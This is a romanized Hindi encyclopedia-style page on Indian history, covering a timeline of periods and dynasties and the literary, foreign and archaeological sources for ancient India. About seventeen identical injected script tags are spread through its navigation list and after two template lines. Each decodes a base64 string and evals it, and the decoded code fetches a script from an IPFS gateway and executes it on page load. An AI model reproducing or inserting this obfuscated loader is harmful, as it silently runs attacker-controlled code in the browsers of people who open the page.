भारत का इतिहास

bharat vishay soochi

parichay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhoogol <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanvidhan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dharm <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> krishi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vany jivan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhasha <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shiksha <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kala <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanskriti <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> khanapan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> raksha <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajy <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> paryatan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> alekh

link=praangan:mukhaprishth/itihas

vistar mean padhean itihas praangan (portal)

**bharat ka itihas**
pashan yug- 70000 se 3300 ee.poo
meharagadh sanskriti	7000-3300 ee.poo
sindhu ghati sabhyata- 3300-1700 ee.poo
h dappa sanskriti	1700-1300 ee.poo
vaidik kal- 1500–500 ee.poo
prachin bharat - 1200 ee.poo–240 ee.
mahajanapad	700–300 ee.poo
magadh samrajy	545–320 ee.poo
satavahan samrajy	230 ee.poo-199 ee.
maury samrajy	321–184 ee.poo
shuang samrajy	184–123 ee.poo
shak samrajy	123 ee.poo–200 ee.
kushan samrajy	60–240 ee.
poorv madhyakalin bharat- 240 ee.poo– 800 ee.
chol samrajy	250 ee.poo- 1070 ee.
gupt samrajy	280–550 ee.
pal samrajy	750–1174 ee.
pratihar samrajy	830–963 ee.
rajapoot kal	900–1162 ee.
madhyakalin bharat- 500 ee.– 1761 ee.
dilli saltanat gulam vansh khilaji vansh tugalaq vansh saiyyad vansh lodi vansh mugal samrajy	1206–1526 ee. 1206-1290 ee. 1290-1320 ee. 1320-1414 ee. 1414-1451 ee. 1451-1526 ee. 1526–1857 ee.
dakkan saltanat bahamani vansh nizamashahi vansh	1490–1596 ee. 1358-1518 ee. 1490-1565 ee.
dakshini samrajy rashtrakoot vansh hoyasal samrajy kakatiya samrajy vijayanagar samrajy	1040-1565 ee. 736-973 ee. 1040–1346 ee. 1083-1323 ee. 1326-1565 ee.
adhunik bharat- 1762–1947 ee.
maratha samrajy	1674-1818 ee.
sikh rajyasangh	1716-1849 ee.
aupanivesh kal	1760-1947 ee.

bharat mean manaviy karyakalap ke jo prachinatam chihn ab tak mile haian, ve 4,00,000 ee. poo. aur 2,00,000 ee. poo. ke bich doosare aur tisare him-yugoan ke sandhikal ke haian aur ve is bat ke sakshy prastut karate haian ki us samay patthar ke upakaran kam mean lae jate the. jivit vyakti ke aparivartit jaivik gunasootroan ke pramanoan ke adhar par bharat mean manav ka sabase pahala praman keral se mila hai jo sattar hazar sal purana hone ki sanbhavana hai. is vyakti ke gunasootr afriqa ke prachin manav ke jaivik gunasootroan (jins) se poori tarah milate haian.^[1]isake pashchat ek lambe arase tak vikas mand gati se hota raha, jisamean antim samay mean jakar tivrata aee aur usaki parinati 2300 ee. poo. ke lagabhag sindhu ghati ki alishan sabhyata (athava navinatam namakaran ke anusar h dappa sanskriti) ke roop mean huee. h dappa ki poorvavarti sanskritiyaan haian: baloochistani paha diyoan ke gaanvoan ki kulli sanskriti aur rajasthan tatha panjab ki nadiyoan ke kinare base kuchh gram-samudayoan ki sanskriti.^[2] yah kal vah hai jab afriqa se adi manav ne vishv ke anek hissoan mean basana prarambh kiya jo pachas se sattar hazar sal pahale ka mana jata hai.

prachin bharatiy itihas ke srot

bharatiy itihas janane ke srot ko tin bhagoan mean vibhajit kiya ja sakata haian-

sahityik sakshy
videshi yatriyoan ka vivaran
puratattv sambandhi sakshy

sahityik sakshy

sahityik sakshy ke antargat sahityik granthoan se prapt aitihasik vastuoan ka adhyayan kiya jata hai. sahityik sakshy ko do bhagoan mean vibhajit kiya ja sakata hai-
dharmik sahity aur laukik sahity.

dharmik sahity

dharmik sahity ke antargat brahman tatha brahmanettar sahity ki charcha ki jati hai.

brahman granthoan mean -

ved, upanishad, ramayan, mahabharat, puran, smriti granth ate haian.

brahmanettar granthoan mean jain tatha bauddh granthoan ko sammilit kiya jata hai.

laukik sahity

laukik sahity ke antargat aitihasik granth, jivani, kalpana-pradhan tatha galp sahity ka varnan kiya jata hai.

dharm-granth

prachin kal se hi bharat ke dharm pradhan desh hone ke karan yahaan prayah tin dharmik dharayean- vaidik, jain evan bauddh pravahit hueean. vaidik dharm granth ko brahman dharm granth bhi kaha jata hai.

brahman dharm-granth

brahman dharm - granth ke antargat ved, upanishadh, mahakavy tatha smriti granthoan ko shamil kiya jata hai.

ved

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ved ek mahattvapoorn brahman dharm-granth hai. ved shabd ka arth ‘jnan‘ mahatajnan arthat ‘pavitr evan adhyatmik jnan‘ hai. yah shabd sanskrit ke ‘vidh‘ dhatu se bana hai jisaka arth hai janana. vedoan ke sankalanakarta 'krishna dvaipayan' the. krishna dvaipayan ko vedoan ke prithakkaran-vyas ke karan 'vedavyas' ki sanjna prapt huee. vedoan se hi hamean aryo ke vishay mean prarambhik janakari milati hai. kuchh log vedoan ko apaurushey arthat daivakrit manate haian. vedoan ki kul sankhya char hai-

rrigved- yah rrichaoan ka sangrah hai.
samaved- yah rrichaoan ka sangrah hai.
yajurved- isamean yaganushthan ke lie viniyog vakyoan ka samavesh hai.
atharvaved- yah tantr-mantroan ka sangrah hai.

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granthoan ki prakriti

rrigved, samaved, yajurved aur atharvaved, in charoan vedoan ko 'sanhita' kaha jata hai.
inamean rrigved, yajurved evan samaved ke sammilit sangrah ko 'vedatrayi' kaha jata hai.
uparyukt charoan vedoan mean se pratyek ke ek-ek upaved bhi hai.
rrigved ka upaved 'ayurved' hai, samaved ka upaved 'gandharvaved' hai, jo sangit se sanbadv hai.
yajurved ka upaved 'dhanurved' hai, jo yudv kalaoan ka varnan karata hai.
atharvaved ka upaved 'shilpaved' hai.
isamean sabase mahattvapoorn upaved hai 'ayurved' hai.
isake ath bhag haian- shaly, shalaky, kay-chikitsa, bhoot vidya, kumarabhrity, aangadatantr, rasayan aur vajikaran.
ek manyata ke anusar ayurved ke janmadata prajapati (brahma), dhanurved ke janmadata vishvamitr, gandharv ke janmadata narad tatha shilpaved ke janmadata vishvakarma the.
in granthoan se prachin bharat mean prachalit vibhinn vidhaoan ka jnan hota hai.

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brahman granth

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yajnoan evan karmakandoan ke vidhan evan inaki kriyaoan ko bhali-bhaanti samajhane ke lie hi is brahman granth ki rachana huee. yahaan par 'brahm' ka shabdik arth haian- yajn arthat yajn ke vishayoan ka achchhi tarah se pratipadan karane vale granth hi 'brahman granth' kahe gaye. brahman granthoan mean sarvatha yajnoan ki vaijnanik, adhibhautik tatha adhyatmik mimaansa prastut ki gayi hai. yah granth adhikatar gady mean likhe hue haian. inamean uttarakalin samaj tatha sanskriti ke sambandh ka jnan prapt hota hai. pratyek ved (sanhita) ke apane-apane brahman hote haian.

aranyak

thumb|150px|kuru mahajanapad

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

arayankoan mean darshanik evan rahasyatmak vishayoan yatha, atma, mrityu, jivan adi ka varnan hota hai. in granthoan ko arayank isalie kaha jata hai kyoanki in granthoan ka manan arany arthat van mean kiya jata tha. ye granth aranyoan (jangaloan) mean nivas karane vale sannyasiyoan ke margadarshan ke lie likhe ge thai. aranyakoan mean aitarey aranyak, shaankhayant aranyak, brihadaranyak, maitrayani upanishad aranyak tatha tavalakar aranyak (ise jaiminiyopanishad brahman bhi kahate haian) mukhy haian. aitarey tatha shaankhayan rrigved se, brihadaranyak shukl yajurved se, maitrayani upanishad aranyak krishna yajurved se tatha tavalakar aranyak samaved se sambaddh haian. atharvaved ka koee aranyak upalabdh nahian hai. aranyak granthoan mean pran vidya ki mahima ka pratipadan vishesh roop se milata hai. inamean kuchh aitihasik tathy bhi haian, jaise- taittiriy aranyak mean kuru, panchal, kashi, videh adi mahajanapadoan ka ullekh hai.

upanishad

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upanishadoan ki kul sankhya 108 hai. pramukh upanishad haian- eesh, ken, kath, mandooky, taittiriy, aitarey, chhandogy, shvetashvatar, brihadaranyak, kaushitaki, mundak, prashn, maitraniy adi. lekin shankarachary ne jin 10 upanishadoan par spana bhashy likha hai, unako pramanik mana gaya hai. ye haian - eesh, ken, mandooky, mundak, taittiriy, aitarey, prashn, chhandogy aur brihadaranyak upanishad. isake atirikt shvetashvatar aur kaushitaki upanishad bhi mahattvapoorn haian. is prakar 103 upanishadoan mean se keval 13 upanishadoan ko hi pramanik mana gaya hai. bharat ka prasiddh adarsh vaky 'satyamev jayate' mundopanishad se liya gaya hai. upanishad gady aur pady donoan mean haian, jisamean prashn, mandooky, ken, taittiriy, aitarey, chhandogy, brihadaranyak aur kaushitaki upanishad gady mean haian tatha ken, eesh, kath aur shvetashvatar upanishad pady mean haian.

vedaang

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vedoan ke arth ko achchhi tarah samajhane mean vedaang kafi sahayak hote haian. vedaang shabd se abhipray hai- 'jisake dvara kisi vastu ke svaroop ko samajhane mean sahayata mile'. vedaango ki kul sankhya 6 hai, jo is prakar hai-
1- shiksha, 2- kalp, 3- vyakaran, 4- nirookt, 5- chhand evan 6- jyotish

brahman granthoan mean dharmashastr ka mahattvapoorn sthan hai.

dharmashastr mean char sahity ate haian- 1- dharm sootr, 2- smriti, 3- tika evan 4- nibandh .

aryoan ke adi sthal soochi

aryoan ke adi sthal		h dappakalin nadiyoan ke kinare base nagar		vibhinn vidvanoan dvara siandhu sabhyata ka kal nirdharan
adi (mool) sthan	mat	nagar	nadi / sagar tat	kal	vidvan

saptasaiandhav kshetr	d aau. avinash chandr, d aau. sanpoornanand
brahmarshi desh	pan. ganganath jha
madhy pradesh	d aau. rajabali pandey
kashmir	el. di. kall
devika pradesh (multan)	di. es. trivedi
uttari dhruv pradesh	bal gangadhar tilak
hangari (yoorop) (denyoob nadi ki ghati)	pi. gails
dakshini roos	nehariang gardan chailds
jarmani	penka
yoorop	philippo sesseti, sar viliyam jons
pamir evan baiktriya	edavard meyar evan olden varg je. ji. rod
madhy eshiya	maiksamoolar
tibbat	dayanand sarasvati
himalay (manas)	ke. ke. sharma

mohanajod do	siandhu nadi
h dappa	ravi nadi
rop d	sataluj nadi
kalibanga	ghagghar nadi
lothal	bhogava nadi
sutkagenador	dasht nadi
valakot	arab sagar
sotkakoh	arab sagar
alamagirapur	hindan nadi
rangapur	madar nadi
kotadiji	siandhu nadi

3500 - 2700 ee.poo.	madhosvaroop vats
3250 - 2750 ee.poo.	j aaun marshal
2900 ee.poo. - 1900 ee.poo.	dels
2800 - 2500 ee.poo.	arnest maike
2500 - 1500 ee.poo.	martimar hvilar
2350 - 1700 ee.poo.	si. je. gaid
2300 ee.poo. - 1750 ee.poo.	di. pi. agraval
2000 - 1500 ee.poo.	pheyar sarvis

smritiyaan

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smritiyoan ko 'dharm shastr' bhi kaha jata hai- 'shrastu ved vijneyoan dharmashastran tu vaismritiah.' smritiyoan ka uday sootroan ko bad hua. manushy ke poore jivan se sambadhit anek kriya-kalapoan ke bare mean asankhy vidhi-nishedhoan ki janakari in smritiyoan se milati hai. sambhavatah manusmriti (lagabhag 200 ee.poorv. se 100 ee. madhy) evan yajnavalky smriti sabase prachin haian. us samay ke any mahattvapoorn smritikar the- narad, parashar, brihaspati, katyayan, gautam, sanvart, harit, aangira adi, jinaka samay sambhavatah 100 ee. se lekar 600 ee. tak tha. manusmriti se us samay ke bharat ke bare mean rajanitik, samajik evan dharmik janakari milati hai. narad smriti se gupt vansh ke sandarbh mean janakari milati hai. medhatithi, maroochi, kullook bhatt, govindaraj adi tikakaroan ne 'manusmriti' par, jabaki vishvaroop, aparark, vijnaneshvar adi ne 'yajnavalky smriti' par bhashy likhe haian.

mahakavy

[[chitr:Valmiki-Ramayan.jpg|thumb|120px|maharshi valmiki ramayan likhate hue]] 'ramayan' evan 'mahabharat', bharat ke do sarvadhik prachin mahakavy haian. yadyapi in donoan mahakavyoan ke rachanakal ke vishay mean kafi vivad hai, phir bhi kuchh upalabdh sakshyoan ke adhar par in mahakavyoan ka rachanakal chauthi shati ee.poo. se chauthi shati ee. ke madhy mana gaya hai.

ramayan

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ramayan ki rachana maharshi balmiki dvara pahali evan doosari shatabdi ke dauran sanskrit bhasha mean ki gayi . balmiki krit ramayan mean moolatah 6000 shlok the, jo kalantar mean 12000 hue aur phir 24000 ho gaye . ise 'chaturvishiti sahastri sanhita' bhri kaha gaya hai. balmiki dvara rachit ramayan- balakand, ayodhyakand, aranyakand, kishkindhakand, sundarakand, yuddhakand evan uttarakand namak sat kandoan mean banta hua hai. ramayan dvara us samay ki rajanitik, samajik evan dharmik sthiti ka jnan hota hai. ramakatha par adharit granthoan ka anuvad sarvapratham bharat se bahar chin mean kiya gaya. bhooshundi ramayan ko 'adiramayan' kaha jata hai.

mahabharat

[[chitr:Krishna-arjun1.jpg|thumb|150px|krishna aur arjun]]

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maharshi vyas dvara rachit mahabharat mahakavy ramayan se brihad hai. isaki rachana ka mool samay eesa poorv chauthi shatabdi mana jata hai. mahabharat mean moolatah 8800 shlok the tatha isaka nam 'jayasanhita' (vijay sanbandhi granth) tha. bad mean shlokoan ki sankhya 24000 hone ke pashchat yah vaidik jan bharat ke vanshajoan ki katha hone ke karan ‘bharat‘ kahalaya. kalantar mean gupt kal mean shlokoan ki sankhya badhakar ek lakh hone par yah 'shatasahastri sanhita' ya 'mahabharat' kehalaya. mahabharat ka prarambhik ullekh 'ashvalay grihasootr' mean milata hai. vartaman mean is mahakavy mean lagabhag ek lakh shlokoan ka sankalan hai. mahabharat mahakavy 18 parvo- adi, sabha, van, virat, udyog, bhishm, dron, karn, shaly, sauptik, stri, shanti, anushasan, ashvamegh, ashramavasi, mausal, mahaprasthanik evan svargarohan mean vibhajit hai. mahabharat mean ‘harivansh‘ nam parishisht hai. is mahakavy se tatkalin rajanitik, samajik evan dharmik sthiti ka jnan hota hai.

mahajanapad soochi

nam	vivaran	kshetr

aang	vartaman mean bihar ke muanger aur bhagalapur zile isamean ate the. inaki rajadhani chanpa thi.	poorvi bihar
magadh	isaki sthiti sthool roop se dakshin bihar ke pradesh mean thi. adhunik patana tatha gaya zila isamean shamil the .	dakshini bihar
kashi	varanasi, kashi athava banaras bharat desh ke uttar pradesh ka ek prachin aur dharmik mahatta rakhane vala shahar hai . isaka purana nam kashi hai.	banaras
koshal	uttari bharat ka prasiddh janapad jisaki rajadhani vishvavishrut nagari ayodhya thi. uttar pradesh ke phaijabad zila, goanda aur baharaich ke kshetr shamil the.	avadh-lakhanoo
vats	adhunik uttar pradesh ke ilahabad tatha mirzapur zile isake arntagat ate the. is janapad ki rajadhani kaushaanbi (zila ilahabad uttar pradesh) thi.	ilahabad
kuru	adhunik hariyana tatha dilli ka yamuna nadi ke pashchim vala aansh shamil tha . isaki rajadhani adhunik dilli (indraprasth) thi .	thaneshvar tatha dilli kshetr
vats	adhunik uttar pradesh ke ilahabad tatha mirzapur zile isake arntagat ate the. is janapad ki rajadhani kaushaanbi (zila ilahabad uttar pradesh) thi.	ilahabad
panchal	pashchimi uttar pradesh ke bareli, badayooan aur pharrookhabad ziloan se parivrit pradesh ka prachin nam hai. yah kanapur se varanasi ke bich ke ganga ke maidan mean phaila hua tha.	bareli tatha badayooan
matsy	matsy desh mean virat ka raj tha tatha vahaan ki rajadhani upaplav namak nagar mean thi. virat nagar matsy desh ka doosara pramukh nagar tha.	jayapur
shoorasen	mathura ka purana nam shoorasen tha .	mathura
ashmak	narmada aur godavari nadiyoan ke bich avasthit is pradesh ki rajadhani patan thi.	godavari ke tat par
avanti	adhunik malava ka pradesh jisaki rajadhani ujjayini aur mahishmati thi.	malava
gaandhar	pakistan ka pashchimi tatha afaganistan ka poorvi kshetr.	peshavar kshetr
kanboj	kanboj desh ya yahaan ke nivasi kaanbojoan ke vishay mean anek ullekh haian jinase jan p data hai ki kanboj desh ka vistar sthool roop se kashmir se hindookush tak tha.	kashmir tatha afaganistan
vrijji	uttar bihar ka bauddh kalin ganarajy jise bauddh sahity mean vrijji kaha gaya hai.	uttari bihar
mall	mall bhi ek ganasangh tha aur poorvi uttar pradesh ke ilake isake kshetr the.	gorakhapur
chedi	ganga aur narmada ke bich ke kshetr ka prachin nam chedi tha.	buandelakhand

puran

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prachin akhyanoan se yukt granth ko puran kahate haian. sambhavatah 5vian se 4thi shatabdi ee.poo. tak puran astitv mean a chuke the. brahm vaivart puran mean puranoan ke paanch lakshan bataye ye haian. yah haian- sarp, pratisarg, vansh, manvantar tatha vanshanucharit. kul puranoan ki sankhya 18 haian- 1. brahm puran 2. padm puran 3. vishnu puran 4. vayu puran 5. bhagavat puran 6. naradiy puran, 7. markandey puran 8. agni puran 9. bhavishy puran 10. brahm vaivart puran, 11. liang puran 12. varah puran 13. skand puran 14. vaman puran 15. koorm puran 16. matsy puran 17. garu d puran aur 18. brahmand puran in puranoan mean vishnu, matsy, vayu, brahmand, tatha bhagavat puran sarvadhik aitihasik mahattv ke haian kyoanki inamean rajaoan ki vanshavaliyaan payi jati haian. atharah puranoan mean sarvadhik prachin evan pramanik matsy puran hai. isake dvara satavahan vansh ke vishay mean vishesh janakari milati hai. isake atirikt vishnu puran se maury vansh evan gupt vansh ki evan vayu puran se shuang vansh evan gupt vansh ke vishay mean vishesh janakari milati hai. is prakar puranoan se hamean shishunag, nand, maury, shuang, satavahan evan gupt vansh ke vishay mean jnan hota hai. markandey puran mukhyatah devi durga se sanbadhit hai. isi mean 'durga saptashati' namak aansh shamil hai. agni puran mean taantrik paddhati ka ullekh hai. isi puran mean ganesh pooja ka pratham bar ullekh milata hai.

bauddh sahity

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bauddh sahity ko ‘tripitak‘ kaha jata hai. mahatma buddh ke parinirvan ke uparant ayojit vibhinn bauddh sangitiyoan mean sankalit kiye gaye tripitak (sanskrit tripitak) sambhavatah sarvadhik prachin dharmagranth haian. vular evan rij devidj mahoday ne ‘pitak‘ ka shabdik arth tokari bataya hai. tripitak haian-
suttapitak, vinayapitak aur abhidhammapitak.

jain sahity

[[chitr:Mahaveer.jpg|mahavir|thumb|100px]]

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aitihasik janakari hetu jain sahity bhi bauddh sahity ki hi tarah mahattvapoorn haian. ab tak upalabdh jain sahity prakrit evan sanskrit bhasha mean milatean hai. jain sahity, jise ‘agam‘ kaha jata hai, inaki sankhya 12 batayi jati hai. age chalakar inake 'upaang' bhi likhe gaye . agamoan ke sath-sath jain granthoan mean 10 prakirn, 6 chhand sootr, ek nandi sootr ek anuyogadvar evan char moolasootr haian. in agam granthoan ki rachana sambhavatah shvetambar sampraday ke acharyo dvara mahavir svami ki mrityu ke bad ki gayi.

laukik sahity

[[chitr:Poet-Kalidasa.jpg|thumb|100px|kalidas]] is prakar ke sahity ke antargat aitihasik evan samasamayik sahity ate haian, aise sahity ko dharmettar sahity bhi kahate haian is prakar ki kritiyoan se tatkalin bharatiy samaj ke rajanitik evan saanskritik itihas ko janane mean kafi madad milati hai. aisi rachanaoan mean sarvapratham ullekh achary chanaky ke arthashastr ka kiya jata hai. vyakaran ke pitamah achary panini ka ashtadhyayi, vishakhadatt ka mudrarakshas, maharshi patanjali ka mahabhashy, kalidas ka malavikagnimitramh, banabhatt ka harshacharit, bhas ka svapnavasavadattam, shoodrak mrichchhakatikam, kalhan ka rajatarangini adi sahity se vibhinn aitihasik janakari milati hai.

dakshin bharat ka prarambhik itihas ‘sangam sahity‘ se jnat hota hai.
sudoor dakshin ke pallav aur chol shasako ka itihas nandikaklambakam, kaliangattuparni, chol charit adi se prapt hota hai.

videshiyoan ke vivaran

videshi yatriyoan evan lekhakoan ke vivaran se bhi hamean bharatiy itihas ki janakariyaan milati hai. inako tin bhagoan mean baant sakate haian-
[[chitr:Demetrius.jpg|thumb|chitrakar dvara dimetriyas ka sikke se banaya hua chitr]] yoonani-roman lekhak, chini lekhak aur arabi lekhak

yoonani-roman lekhak

yoonani lekhakoan ko tin bhagoan mean baanta ja sakata hai-

sikandar ke poorv ke yoonani lekhak
sikandar ke samakalin yoonani lekhak
sikandar ke bad ke lekhak

tesiyas aur herodotas yoonan aur rom ke prachin lekhakoan mean se haian. tesiyas 'eerani rajavaidy' tha, usane bharat ke vishay mean samast janakari eerani adhikariyoan se prapt ki thi. herodotas, jise 'itihas ka pita' kaha jata hai, ne 5vi. shatabdi mean ee.poo. mean ‘historika‘ namak pustak ki rachana ki thi, jisamean bharat aur faras ke sambandhoan ka varnan kiya gaya hai.
niyarkas, anesikritas aur aristovulas ye sabhi lekhak sikandar ke samakalin. in lekhakoan dvara jo bhi vivaran tatkalin bharatiy itihas se ju da hai vah apane mean pramanik hai.
sikandar ke bad ke lekhakoan mean mahattvapoorn tha megasthanij jo yoonani raja selyookas ka rajadoot tha. usane chandragupt maury ke darabar mean qarib 14 varsho tak samay vyatit kiya. usane ‘indika ‘ namak granth ki rachana ki jisamean tatkalin mauryavanshiy samaj evan sanskriti ka vivaran diya tha. daimekas, siriyan naresh antiyokas ka rajadoot tha jo bindusar ke rajadarabar mean kafi dinoan tak raha. dayonisiyas misr naresh 't aaulami philadelphas' ke rajadoot ke roop mean kafi dinoan tak samrat ashok ke raj darabar mean raha tha.
any pustakoan mean 'periplas aauf d erithriyan si', lagabhag 150 ee. ke asapas t aaulami ka bhoogol, plini ka 'nechural historika' (ee. ki pratham sadi) mahattvapoorn hai. ‘periplas aauph d erithriyan si‘ granth jisaki rachana 80 se 115 ee. ke bich huee hai, mean bharatiy bandaragahoan evan vyaparik vastuoan ka vivaran milata hai. plini ke ‘nechural historika‘ se bharatiy pashu, pe d-paudhoan evan khanij padartho ki janakari milati hai.

chini lekhak

[[chitr:Xuanzang.jpg|thumb|120px|hven tsaang
Xuanzang]] chini lekhakoan ke vivaran se bhi bharatiy itihas par prachur prabhav p data hai sabhi chini lekhak yatri bauddh matanuyayi the aur ve is dharm ke vishay mean kuchh vishay janakari ke lie hi bharat aye the. chini bauddh yatriyoan mean se pramukh the- fahyan, hvenasaang, itsiang, malvanalin, chaoo-joo-kua adi.

malvanalin ne harsh ke poorv abhiyan evan 'chaoo-joo-kua' ne cholakalin itihas par prakash dala.

arabi lekhak

poorv madhyakalin bharat ke samaj aur sanskriti ke vishayoan mean hamean sarvapratham arab vyapariyoan evan lekhakoan se vivaran prapt hota hai. in vyapariyoan aur lekhakoan mean mukhy haian- alaberooni, suleman aur alamasoodi.

uparyukt videshi yatriyoan ke vivaran ke atirikt kuchh pharasi lekhakoan ke vivaran bhi prapt hote hai jinase bharatiy itihas ke adhyayan mean kafi sahayata milati hai. isamean mahattvapoorn haian-

firadausi (940-1020 ee.) kritashahanama, (Book of Kings)
rashadudvin krit 'jamiet al tavarikh' ali ahamad krit ‘chachanama‘ minahaj-ul-siraj krit ‘tabakat-e-nasiri‘, jiyaudvin barani krit ‘tarikh-e-phirojashahi evan abul fazal krit ‘akabaranama‘ adi.
yooropiy yatriyoan mean 13 vi shatabdi mean venis (itali) se aye se suprasidv yatri markopoloan dvara dakshin ke pandy rajy ke vishay mean janakari milati hai.

puratattv

puratatvik sakshy ke aantargat mukhyatah abhilekh, sikke, smarak, bhavan, moortiyaan chitrakala adi ate haian.

prachin rajy sima manachitr
bharat- pashan kal\|65px	bharat mean prastar yug ke mahattvapoorn sthal\|60px	rrigvaidik kalin bharat\|60px	vaidik kalin pramukh nadiyaan\|70px	bharat- mahakavy kal\|60px	bharat par videshi akraman\|80px	bharat- kushan samrajy\|60px	bharatavarsh- prakritik manachitr\|60px	bharat- gupt samrajy\|65px	bharat- harsh samrajy\|60px

abhilekh

itihas nimarn mean sahayak puratattv samagri mean abhilekhoan ka mahattvapoorn sthan hai. ye abhilekh adhikaanshatah stambhoan, shilaoan, tamrapatroan, mudraoan patroan, moortiyoan, guhaoan adi mean khude hue milate haian. yadyapi prachinatam abhilekh madhy eshiya ke ‘bogajakoee‘ nam sthan se qarib 1400 ee.poo. mean paye gaye jinamean anek vaidik devataoan - indr, mitr, varun, nasaty adi ka ullekh milata hai. [[chitr:Brahmi Lipi-3.jpg|thumb|ashok ke shilalekh|220px]] apane yatharth roop mean abhilekh hamean sarvapratham ashok ke shasan kal mean hi milatean haian. ek abhilekh, jo haidarabad mean 'maski' namak sthan par sthit hai, mean ashok ke nam ka spasht ullekh milata hai. isake atirikt 'gurjara', madhy pradesh, 'panagudhiya',madhy pradesh se prapt lekhoan mean bhi ashok ka nam milata hai. any abhilekhoan mean usako devataoan ka priy ‘priyadarshi‘ raja 